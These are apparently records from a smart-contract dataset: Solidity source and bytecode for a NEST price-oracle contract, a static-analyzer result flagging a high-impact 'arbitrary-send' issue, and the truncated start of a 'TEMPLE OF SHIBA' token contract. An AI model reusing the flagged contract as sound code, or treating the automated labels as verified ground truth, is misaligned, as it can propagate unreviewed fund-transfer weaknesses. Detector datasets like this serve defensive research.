function changeMapping(address voteFactory) public onlyOwner {
Nest_3_VoteFactory voteFactoryMap = Nest_3_VoteFactory(address(voteFactory));
_voteFactory = voteFactoryMap;
_offerMain = Nest_3_OfferMain(address(voteFactoryMap.checkAddress("nest.v3.offerMain")));
_nTokeOfferMain = address(voteFactoryMap.checkAddress("nest.nToken.offerMain"));
_abonus = Nest_3_Abonus(address(voteFactoryMap.checkAddress("nest.v3.abonus")));
_destructionAddress = address(voteFactoryMap.checkAddress("nest.v3.destruction"));
_nestToken = ERC20(address(voteFactoryMap.checkAddress("nest")));
_tokenMapping = Nest_NToken_TokenMapping(address(voteFactoryMap.checkAddress("nest.nToken.tokenMapping")));
_nTokenAuction = address(voteFactoryMap.checkAddress("nest.nToken.tokenAuction"));
_offerMainMapping[address(_offerMain)] = true;
_offerMainMapping[address(_nTokeOfferMain)] = true;
}
/**
* @dev Initialize token price charge parameters
* @param tokenAddress Token address
*/
function addPriceCost(address tokenAddress) public {
}
/**
* @dev Add price
* @param ethAmount ETH amount
* @param tokenAmount Erc20 amount
* @param endBlock Effective price block
* @param tokenAddress Erc20 address
* @param offerOwner Offering address
*/
function addPrice(uint256 ethAmount, uint256 tokenAmount, uint256 endBlock, address tokenAddress, address offerOwner) public onlyOfferMain{
// Add effective block price information
TokenInfo storage tokenInfo = _tokenInfo[tokenAddress];
PriceInfo storage priceInfo = tokenInfo.priceInfoList[endBlock];
priceInfo.ethAmount = priceInfo.ethAmount.add(ethAmount);
priceInfo.erc20Amount = priceInfo.erc20Amount.add(tokenAmount);
if (endBlock != tokenInfo.latestOffer) {
// If different block offer
priceInfo.frontBlock = tokenInfo.latestOffer;
tokenInfo.latestOffer = endBlock;
}
}
/**
* @dev Price modification in taker orders
* @param ethAmount ETH amount
* @param tokenAmount Erc20 amount
* @param tokenAddress Token address
* @param endBlock Block of effective price
*/
function changePrice(uint256 ethAmount, uint256 tokenAmount, address tokenAddress, uint256 endBlock) public onlyOfferMain {
TokenInfo storage tokenInfo = _tokenInfo[tokenAddress];
PriceInfo storage priceInfo = tokenInfo.priceInfoList[endBlock];
priceInfo.ethAmount = priceInfo.ethAmount.sub(ethAmount);
priceInfo.erc20Amount = priceInfo.erc20Amount.sub(tokenAmount);
}
/**
* @dev Update and check the latest price
* @param tokenAddress Token address
* @return ethAmount ETH amount
* @return erc20Amount Erc20 amount
* @return blockNum Price block
*/
function updateAndCheckPriceNow(address tokenAddress) public payable returns(uint256 ethAmount, uint256 erc20Amount, uint256 blockNum) {
require(checkUseNestPrice(address(msg.sender)));
mapping(uint256 => PriceInfo) storage priceInfoList = _tokenInfo[tokenAddress].priceInfoList;
uint256 checkBlock = _tokenInfo[tokenAddress].latestOffer;
while(checkBlock > 0 && (checkBlock >= block.number || priceInfoList[checkBlock].ethAmount == 0)) {
checkBlock = priceInfoList[checkBlock].frontBlock;
}
require(checkBlock != 0);
PriceInfo memory priceInfo = priceInfoList[checkBlock];
address nToken = _tokenMapping.checkTokenMapping(tokenAddress);
if (nToken == address(0x0)) {
_abonus.switchToEth.value(_priceCost)(address(_nestToken));
} else {
_abonus.switchToEth.value(_priceCost)(address(nToken));
}
if (msg.value > _priceCost) {
repayEth(address(msg.sender), msg.value.sub(_priceCost));
}
emit NowTokenPrice(tokenAddress,priceInfo.ethAmount, priceInfo.erc20Amount);
return (priceInfo.ethAmount,priceInfo.erc20Amount, checkBlock);
}
/**
* @dev Update and check the latest price-internal use
* @param tokenAddress Token address
* @return ethAmount ETH amount
* @return erc20Amount Erc20 amount
*/
function updateAndCheckPricePrivate(address tokenAddress) public view onlyOfferMain returns(uint256 ethAmount, uint256 erc20Amount) {
mapping(uint256 => PriceInfo) storage priceInfoList = _tokenInfo[tokenAddress].priceInfoList;
uint256 checkBlock = _tokenInfo[tokenAddress].latestOffer;
while(checkBlock > 0 && (checkBlock >= block.number || priceInfoList[checkBlock].ethAmount == 0)) {
checkBlock = priceInfoList[checkBlock].frontBlock;
}
if (checkBlock == 0) {
return (0,0);
}
PriceInfo memory priceInfo = priceInfoList[checkBlock];
return (priceInfo.ethAmount,priceInfo.erc20Amount);
}
/**
* @dev Update and check the effective price list
* @param tokenAddress Token address
* @param num Number of prices to check
* @return uint256[] price list
*/
function updateAndCheckPriceList(address tokenAddress, uint256 num) public payable returns (uint256[] memory) {
require(checkUseNestPrice(address(msg.sender)));
mapping(uint256 => PriceInfo) storage priceInfoList = _tokenInfo[tokenAddress].priceInfoList;
// Extract data
uint256 length = num.mul(3);
uint256 index = 0;
uint256[] memory data = new uint256[](length);
uint256 checkBlock = _tokenInfo[tokenAddress].latestOffer;
while(index < length && checkBlock > 0){
if (checkBlock < block.number && priceInfoList[checkBlock].ethAmount != 0) {
// Add return data
data[index++] = priceInfoList[checkBlock].ethAmount;
data[index++] = priceInfoList[checkBlock].erc20Amount;
data[index++] = checkBlock;
}
checkBlock = priceInfoList[checkBlock].frontBlock;
}
require(length == data.length);
// Allocation
address nToken = _tokenMapping.checkTokenMapping(tokenAddress);
if (nToken == address(0x0)) {
_abonus.switchToEth.value(_priceCost)(address(_nestToken));
} else {
_abonus.switchToEth.value(_priceCost)(address(nToken));
}
if (msg.value > _priceCost) {
repayEth(address(msg.sender), msg.value.sub(_priceCost));
}
return data;
}
// Activate the price checking function
function activation() public {
_nestToken.safeTransferFrom(address(msg.sender), _destructionAddress, destructionAmount);
_addressEffect[address(msg.sender)] = now.add(effectTime);
}
// Transfer ETH
function repayEth(address accountAddress, uint256 asset) private {
address payable addr = accountAddress.make_payable();
addr.transfer(asset);
}
// Check block price - user account only
function checkPriceForBlock(address tokenAddress, uint256 blockNum) public view returns (uint256 ethAmount, uint256 erc20Amount) {
require(address(msg.sender) == address(tx.origin), "It can't be a contract");
TokenInfo storage tokenInfo = _tokenInfo[tokenAddress];
return (tokenInfo.priceInfoList[blockNum].ethAmount, tokenInfo.priceInfoList[blockNum].erc20Amount);
}
// Check real-time price - user account only
function checkPriceNow(address tokenAddress) public view returns (uint256 ethAmount, uint256 erc20Amount, uint256 blockNum) {
require(address(msg.sender) == address(tx.origin), "It can't be a contract");
mapping(uint256 => PriceInfo) storage priceInfoList = _tokenInfo[tokenAddress].priceInfoList;
uint256 checkBlock = _tokenInfo[tokenAddress].latestOffer;
while(checkBlock > 0 && (checkBlock >= block.number || priceInfoList[checkBlock].ethAmount == 0)) {
checkBlock = priceInfoList[checkBlock].frontBlock;
}
if (checkBlock == 0) {
return (0,0,0);
}
PriceInfo storage priceInfo = priceInfoList[checkBlock];
return (priceInfo.ethAmount,priceInfo.erc20Amount, checkBlock);
}
// Check whether the price-checking functions can be called
function checkUseNestPrice(address target) public view returns (bool) {
if (!_blocklist[target] && _addressEffect[target] < now && _addressEffect[target] != 0) {
return true;
} else {
return false;
}
}
// Check whether the address is in the blocklist
function checkBlocklist(address add) public view returns(bool) {
return _blocklist[add];
}
// Check the amount of NEST to destroy to call prices
function checkDestructionAmount() public view returns(uint256) {
return destructionAmount;
}
// Check the waiting time to start calling prices
function checkEffectTime() public view returns (uint256) {
return effectTime;
}
// Check call price fee
function checkPriceCost() public view returns (uint256) {
return _priceCost;
}
// Modify the blocklist
function changeBlocklist(address add, bool isBlock) public onlyOwner {
_blocklist[add] = isBlock;
}
// Amount of NEST to destroy to call price-checking functions
function changeDestructionAmount(uint256 amount) public onlyOwner {
destructionAmount = amount;
}
// Modify the waiting time to start calling prices
function changeEffectTime(uint256 num) public onlyOwner {
effectTime = num;
}
// Modify call price fee
function changePriceCost(uint256 num) public onlyOwner {
_priceCost = num;
}
// Offering contract only
modifier onlyOfferMain(){
require(_offerMainMapping[address(msg.sender)], "No authority");
_;
}
// Vote administrators only
modifier onlyOwner(){
require(_voteFactory.checkOwners(msg.sender), "No authority");
_;
}
}
// Voting contract
interface Nest_3_VoteFactory {
// Check address
function checkAddress(string calldata name) external view returns (address contractAddress);
// Check whether administrator
function checkOwners(address man) external view returns (bool);
}
// NToken mapping contract
interface Nest_NToken_TokenMapping {
function checkTokenMapping(address token) external view returns (address);
}
// NEST offer main contract
interface Nest_3_OfferMain {
function checkTokenAllow(address token) external view returns(bool);
}
// Bonus pool contract
interface Nest_3_Abonus {
function switchToEth(address token) external payable;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library address_make_payable {
function make_payable(address x) internal pure returns (address payable) {
return address(uint160(x));
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(ERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(ERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(ERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(ERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
|
0x6080604052600436106101145760003560e01c806380cb1b85116100a0578063a834d32e11610064578063a834d32e1461043c578063aca97d6d14610462578063b99c310c14610495578063d3a2433e146104aa578063e3fb64d1146104f157610114565b806380cb1b851461031f57806381ead24c1461035a5780638f6f1c59146103a657806391501949146103df578063a781e7f81461040957610114565b80631b441848116100e75780631b441848146102355780632754d1a1146102865780633629c8de146102b05780634a6238d4146102c55780635d4d3bf7146102da57610114565b806308d0099e14610119578063156a0f821461019557806317ae7a58146101c15780631a27198f1461020e575b600080fd5b6101456004803603604081101561012f57600080fd5b506001600160a01b038135169060200135610524565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610181578181015183820152602001610169565b505050509050019250505060405180910390f35b3480156101a157600080fd5b506101bf600480360360208110156101b857600080fd5b5035610834565b005b3480156101cd57600080fd5b506101bf600480360360a08110156101e457600080fd5b508035906020810135906040810135906001600160a01b03606082013581169160800135166108f0565b34801561021a57600080fd5b506102236109bc565b60408051918252519081900360200190f35b34801561024157600080fd5b506102686004803603602081101561025857600080fd5b50356001600160a01b03166109c2565b60408051938452602084019290925282820152519081900360600190f35b34801561029257600080fd5b506101bf600480360360208110156102a957600080fd5b5035610ab1565b3480156102bc57600080fd5b506101bf610b6d565b3480156102d157600080fd5b50610223610bbd565b3480156102e657600080fd5b506101bf600480360360808110156102fd57600080fd5b508035906020810135906001600160a01b036040820135169060600135610bc3565b34801561032b57600080fd5b506101bf6004803603604081101561034257600080fd5b506001600160a01b0381351690602001351515610c71565b34801561036657600080fd5b5061038d6004803603602081101561037d57600080fd5b50356001600160a01b0316610d53565b6040805192835260208301919091528051918290030190f35b3480156103b257600080fd5b5061038d600480360360408110156103c957600080fd5b506001600160a01b038135169060200135610e78565b3480156103eb57600080fd5b506101bf6004803603602081101561040257600080fd5b5035610efa565b34801561041557600080fd5b506101bf6004803603602081101561042c57600080fd5b50356001600160a01b0316610fb6565b6102686004803603602081101561045257600080fd5b50356001600160a01b031661156d565b34801561046e57600080fd5b506101bf6004803603602081101561048557600080fd5b50356001600160a01b0316611821565b3480156104a157600080fd5b50610223611824565b3480156104b657600080fd5b506104dd600480360360208110156104cd57600080fd5b50356001600160a01b031661182a565b604080519115158252519081900360200190f35b3480156104fd57600080fd5b506104dd6004803603602081101561051457600080fd5b50356001600160a01b03166118a3565b606061052f3361182a565b61053857600080fd5b6001600160a01b0383166000908152600a602052604081209061056284600363ffffffff6118c116565b90506000809050606082604051908082528060200260200182016040528015610595578160200160208202803883390190505b506001600160a01b0388166000908152600a60205260409020600101549091505b83831080156105c55750600081115b156106825743811080156105e6575060008181526020869052604090205415155b1561066b57600081815260208690526040902054825160018501948491811061060b57fe5b6020026020010181815250508460008281526020019081526020016000206001015482848060010195508151811061063f57fe5b6020026020010181815250508082848060010195508151811061065e57fe5b6020026020010181815250505b6000908152602085905260409020600201546105b6565b8151841461068f57600080fd5b6002546040805163323442c360e11b81526001600160a01b038b8116600483015291516000939290921691636468858691602480820192602092909190829003018186803b1580156106e057600080fd5b505afa1580156106f4573d6000803e3d6000fd5b505050506040513d602081101561070a57600080fd5b505190506001600160a01b03811661078e5760048054600e5460015460408051631421854f60e31b81526001600160a01b03928316958101959095525192169263a10c2a7892602480830192600092919082900301818588803b15801561077057600080fd5b505af1158015610784573d6000803e3d6000fd5b50505050506107fd565b60048054600e5460408051631421854f60e31b81526001600160a01b03868116958201959095529051939092169263a10c2a789260248082019260009290919082900301818588803b1580156107e357600080fd5b505af11580156107f7573d6000803e3d6000fd5b50505050505b600e543411156108255761082533610820600e543461192190919063ffffffff16565b611963565b50909450505050505b92915050565b6000546040805163a3bf06f160e01b815233600482015290516001600160a01b039092169163a3bf06f191602480820192602092909190829003018186803b15801561087f57600080fd5b505afa158015610893573d6000803e3d6000fd5b505050506040513d60208110156108a957600080fd5b50516108eb576040805162461bcd60e51b815260206004820152600c60248201526b4e6f20617574686f7269747960a01b604482015290519081900360640190fd5b600855565b336000908152600d602052604090205460ff16610943576040805162461bcd60e51b815260206004820152600c60248201526b4e6f20617574686f7269747960a01b604482015290519081900360640190fd5b6001600160a01b0382166000908152600a6020908152604080832086845291829052909120805461097a908863ffffffff6119b616565b81556001810154610991908763ffffffff6119b616565b8160010181905550816001015485146109b35760018201805460028301558590555b50505050505050565b60085490565b60008080333214610a13576040805162461bcd60e51b8152602060048201526016602482015275125d0818d85b89dd08189948184818dbdb9d1c9858dd60521b604482015290519081900360640190fd5b6001600160a01b0384166000908152600a6020526040902060018101545b600081118015610a5757504381101580610a575750600081815260208390526040902054155b15610a7357600090815260208290526040902060020154610a31565b80610a8a575060009350839250829150610aaa9050565b600081815260209290925260409091208054600190910154909450925090505b9193909250565b6000546040805163a3bf06f160e01b815233600482015290516001600160a01b039092169163a3bf06f191602480820192602092909190829003018186803b158015610afc57600080fd5b505afa158015610b10573d6000803e3d6000fd5b505050506040513d6020811015610b2657600080fd5b5051610b68576040805162461bcd60e51b815260206004820152600c60248201526b4e6f20617574686f7269747960a01b604482015290519081900360640190fd5b600955565b600654600854600154610b97926001600160a01b039182169233929091169063ffffffff611a1016565b600954610bab90429063ffffffff6119b616565b336000908152600c6020526040902055565b600e5490565b336000908152600d602052604090205460ff16610c16576040805162461bcd60e51b815260206004820152600c60248201526b4e6f20617574686f7269747960a01b604482015290519081900360640190fd5b6001600160a01b0382166000908152600a60209081526040808320848452918290529091208054610c4d908763ffffffff61192116565b81556001810154610c64908663ffffffff61192116565b6001909101555050505050565b6000546040805163a3bf06f160e01b815233600482015290516001600160a01b039092169163a3bf06f191602480820192602092909190829003018186803b158015610cbc57600080fd5b505afa158015610cd0573d6000803e3d6000fd5b505050506040513d6020811015610ce657600080fd5b5051610d28576040805162461bcd60e51b815260206004820152600c60248201526b4e6f20617574686f7269747960a01b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b336000908152600d6020526040812054819060ff16610da8576040805162461bcd60e51b815260206004820152600c60248201526b4e6f20617574686f7269747960a01b604482015290519081900360640190fd5b6001600160a01b0383166000908152600a6020526040902060018101545b600081118015610dec57504381101580610dec5750600081815260208390526040902054155b15610e0857600090815260208290526040902060020154610dc6565b80610e1c575060009250829150610e739050565b610e24611cf8565b50600090815260209182526040908190208151608081018352815480825260018301549482018590526002830154938201939093526003909101546001600160a01b0316606090910152925090505b915091565b600080333214610ec8576040805162461bcd60e51b8152602060048201526016602482015275125d0818d85b89dd08189948184818dbdb9d1c9858dd60521b604482015290519081900360640190fd5b50506001600160a01b03919091166000908152600a602090815260408083209383529290522080546001909101549091565b6000546040805163a3bf06f160e01b815233600482015290516001600160a01b039092169163a3bf06f191602480820192602092909190829003018186803b158015610f4557600080fd5b505afa158015610f59573d6000803e3d6000fd5b505050506040513d6020811015610f6f57600080fd5b5051610fb1576040805162461bcd60e51b815260206004820152600c60248201526b4e6f20617574686f7269747960a01b604482015290519081900360640190fd5b600e55565b6000546040805163a3bf06f160e01b815233600482015290516001600160a01b039092169163a3bf06f191602480820192602092909190829003018186803b15801561100157600080fd5b505afa158015611015573d6000803e3d6000fd5b505050506040513d602081101561102b57600080fd5b505161106d576040805162461bcd60e51b815260206004820152600c60248201526b4e6f20617574686f7269747960a01b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b038316908117909155604080516347f3bf4360e11b815260206004820181905260116024830152703732b9ba173b199737b33332b926b0b4b760791b60448301529151849392638fe77e869260648082019391829003018186803b1580156110e957600080fd5b505afa1580156110fd573d6000803e3d6000fd5b505050506040513d602081101561111357600080fd5b5051600380546001600160a01b0319166001600160a01b03928316179055604080516347f3bf4360e11b815260206004820181905260156024830152743732b9ba17372a37b5b2b71737b33332b926b0b4b760591b6044830152915192841692638fe77e8692606480840193919291829003018186803b15801561119657600080fd5b505afa1580156111aa573d6000803e3d6000fd5b505050506040513d60208110156111c057600080fd5b5051600580546001600160a01b0319166001600160a01b03928316179055604080516347f3bf4360e11b8152602060048201819052600e60248301526d6e6573742e76332e61626f6e757360901b6044830152915192841692638fe77e8692606480840193919291829003018186803b15801561123c57600080fd5b505afa158015611250573d6000803e3d6000fd5b505050506040513d602081101561126657600080fd5b5051600480546001600160a01b0319166001600160a01b03928316178155604080516347f3bf4360e11b8152602092810183905260136024820152723732b9ba173b19973232b9ba393ab1ba34b7b760691b6044820152905192841692638fe77e8692606480840193919291829003018186803b1580156112e657600080fd5b505afa1580156112fa573d6000803e3d6000fd5b505050506040513d602081101561131057600080fd5b5051600680546001600160a01b0319166001600160a01b03928316179055604080516347f3bf4360e11b8152602060048083018290526024830152631b995cdd60e21b6044830152915192841692638fe77e8692606480840193919291829003018186803b15801561138157600080fd5b505afa158015611395573d6000803e3d6000fd5b505050506040513d60208110156113ab57600080fd5b5051600180546001600160a01b0319166001600160a01b03928316179055604080516347f3bf4360e11b8152602060048201819052601860248301527f6e6573742e6e546f6b656e2e746f6b656e4d617070696e6700000000000000006044830152915192841692638fe77e8692606480840193919291829003018186803b15801561143657600080fd5b505afa15801561144a573d6000803e3d6000fd5b505050506040513d602081101561146057600080fd5b5051600280546001600160a01b0319166001600160a01b03928316179055604080516347f3bf4360e11b8152602060048201819052601860248301527f6e6573742e6e546f6b656e2e746f6b656e41756374696f6e00000000000000006044830152915192841692638fe77e8692606480840193919291829003018186803b1580156114eb57600080fd5b505afa1580156114ff573d6000803e3d6000fd5b505050506040513d602081101561151557600080fd5b5051600780546001600160a01b0319166001600160a01b0392831617905560035481166000908152600d6020526040808220805460ff1990811660019081179092556005549094168352912080549092161790555050565b600080600061157b3361182a565b61158457600080fd5b6001600160a01b0384166000908152600a6020526040902060018101545b6000811180156115c8575043811015806115c85750600081815260208390526040902054155b156115e4576000908152602082905260409020600201546115a2565b806115ee57600080fd5b6115f6611cf8565b50600081815260208381526040808320815160808101835281548152600182015481850152600280830154828501526003909201546001600160a01b0390811660608301529154835163323442c360e11b81528c8416600482015293519195949216926364688586926024808301939192829003018186803b15801561167b57600080fd5b505afa15801561168f573d6000803e3d6000fd5b505050506040513d60208110156116a557600080fd5b505190506001600160a01b0381166117295760048054600e5460015460408051631421854f60e31b81526001600160a01b03928316958101959095525192169263a10c2a7892602480830192600092919082900301818588803b15801561170b57600080fd5b505af115801561171f573d6000803e3d6000fd5b5050505050611798565b60048054600e5460408051631421854f60e31b81526001600160a01b03868116958201959095529051939092169263a10c2a789260248082019260009290919082900301818588803b15801561177e57600080fd5b505af1158015611792573d6000803e3d6000fd5b50505050505b600e543411156117bb576117bb33610820600e543461192190919063ffffffff16565b8151602080840151604080516001600160a01b038d168152928301939093528183015290517fddfa535cacea1d1e69a1a85fabd4691a3e0102bd5c80acd82f249a88d5d509889181900360600190a1508051602090910151909790965090945092505050565b50565b60095490565b6001600160a01b0381166000908152600b602052604081205460ff1615801561186a57506001600160a01b0382166000908152600c602052604090205442115b801561188d57506001600160a01b0382166000908152600c602052604090205415155b1561189a5750600161189e565b5060005b919050565b6001600160a01b03166000908152600b602052604090205460ff1690565b6000826118d05750600061082e565b828202828482816118dd57fe5b041461191a5760405162461bcd60e51b8152600401808060200182810382526021815260200180611d2a6021913960400191505060405180910390fd5b9392505050565b600061191a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a6a565b6000611977836001600160a01b0316611b01565b6040519091506001600160a01b0382169083156108fc029084906000818181858888f193505050501580156119b0573d6000803e3d6000fd5b50505050565b60008282018381101561191a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526119b0908590611b04565b60008184841115611af95760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611abe578181015183820152602001611aa6565b50505050905090810190601f168015611aeb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b90565b611b16826001600160a01b0316611cbc565b611b67576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310611ba55780518252601f199092019160209182019101611b86565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611c07576040519150601f19603f3d011682016040523d82523d6000602084013e611c0c565b606091505b509150915081611c63576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156119b057808060200190516020811015611c7f57600080fd5b50516119b05760405162461bcd60e51b815260040180806020018281038252602a815260200180611d4b602a913960400191505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590611cf057508115155b949350505050565b604051806080016040528060008152602001600081526020016000815260200160006001600160a01b03168152509056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220efe4c444c74dfda4308c61b98115929498b5ada90bdfd9ba7e3785ea80eb9c1b64736f6c63430006000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,713 |
0xa23fd1ece81d2f05c06c1bbd92eb5fef42da83f9
|
// SPDX-License-Identifier: Unlicensed
/*
https://t.me/templeofshiba
Order of the Shiba temple
,--.--------. ,----. ___ _ __ ,----. _,.---._ _,---. ,-,--. ,--.-,,-,--, .=-.-. ,---.
/==/, - , -\,-.--` , \ .-._ .'=.'\ .-`.' ,`. _.-. ,-.--` , \ ,-.' , - `. .-`.' , \ ,-.'- _\/==/ /|=| |/==/_ / _..---. .--.' \
\==\.-. - ,-./==|- _.-`/==/ \|==| |/==/, - \.-,.'| |==|- _.-` /==/_, , - \ /==/_ _.-' /==/_ ,_.'|==|_ ||=|, |==|, | .' .'.-. \ \==\-/\ \
`--`\==\- \ |==| `.-.|==|,| / - |==| _ .=. |==|, | |==| `.-. |==| .=. /==/- '..-. \==\ \ |==| ,|/=| _|==| |/==/- '=' / /==/-|_\ |
\==\_ \/==/_ , /|==| \/ , |==| , '=',|==|- | /==/_ , / |==|_ : ;=: - |==|_ , / \==\ -\ |==|- `-' _ |==|- ||==|-, ' \==\, - \
|==|- ||==| .-' |==|- , _ |==|- '..'|==|, | |==| .-' |==| , '=' |==| .--' _\==\ ,\ |==| _ |==| ,||==| .=. \ /==/ - ,|
|==|, ||==|_ ,`-._|==| _ /\ |==|, | |==|- `-._|==|_ ,`-._ \==\ - ,_ /|==|- | /==/\/ _ ||==| .-. ,\==|- |/==/- '=' ,/==/- /\ - \
/==/ -//==/ , //==/ / / , /==/ - | /==/ - , ,/==/ , / '.='. - .' /==/ \ \==\ - , //==/, //=/ /==/. /==| - /\==\ _.\=\.-'
`--`--``--`-----`` `--`./ `--``--`---' `--`-----'`--`-----`` `--`--'' `--`---' `--`---' `--`-' `-`--`--`-``-._`.___,' `--`
*/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TEMPLES is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TEMPLE OF SHIBA";
string private constant _symbol = "TEMPLES";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 3;
uint256 private _taxFeeOnBuy = 7;
